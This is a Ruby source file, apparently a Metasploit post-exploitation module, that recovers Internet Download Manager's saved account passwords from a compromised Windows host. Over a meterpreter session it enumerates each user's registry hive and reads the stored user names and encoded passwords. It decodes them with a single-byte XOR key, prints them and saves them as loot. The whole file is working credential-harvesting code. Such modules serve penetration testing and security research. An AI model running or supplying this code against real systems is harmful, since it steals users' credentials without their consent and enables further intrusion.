EclipseAditya
99 lines
2.8 KiB
Ruby
99 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Gather Internet Download Manager (IDM) Password Extractor',
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'Description' => %q{
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This module recovers the saved premium download account passwords from
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Internet Download Manager (IDM). These passwords are stored in an encoded
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format in the registry. This module traverses through these registry entries
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and decodes them. Thanks to the template code of theLightCosine's CoreFTP
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password module.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
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'Unknown', # SecurityXploded Team, www.SecurityXploded.com
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [],
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'Reliability' => []
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}
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)
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)
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end
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def run
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creds = Rex::Text::Table.new(
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'Header' => 'Internet Downloader Manager Credentials',
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'Indent' => 1,
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'Columns' =>
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[
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'User',
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'Password',
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'Site'
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]
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)
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registry_enumkeys('HKU').each do |k|
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next unless k.include?('S-1-5-21')
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next if k.include?('_Classes')
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print_status("Looking at Key #{k}")
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begin
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subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords")
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if subkeys.nil? || subkeys.empty?
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print_status('IDM not installed for this user.')
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next
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end
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subkeys.each do |site|
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user = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'User')
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epass = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'EncPassword')
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next if epass.nil? || (epass == '')
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pass = xor(epass)
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print_good("Site: #{site} (User=#{user}, Password=#{pass})")
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creds << [user, pass, site]
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end
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print_status('Storing data...')
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path = store_loot(
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'idm.user.creds',
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'text/csv',
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session,
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creds.to_csv,
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'idm_user_creds.csv',
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'Internet Download Manager User Credentials'
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)
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print_good("IDM user credentials saved in: #{path}")
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rescue StandardError => e
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print_error("An error has occurred: #{e}")
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end
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end
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end
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def xor(ciphertext)
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pass = ciphertext.unpack('C*')
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key = 15
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for i in 0..pass.length - 1 do
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pass[i] ^= key
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end
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return pass.pack('C*')
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end
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end
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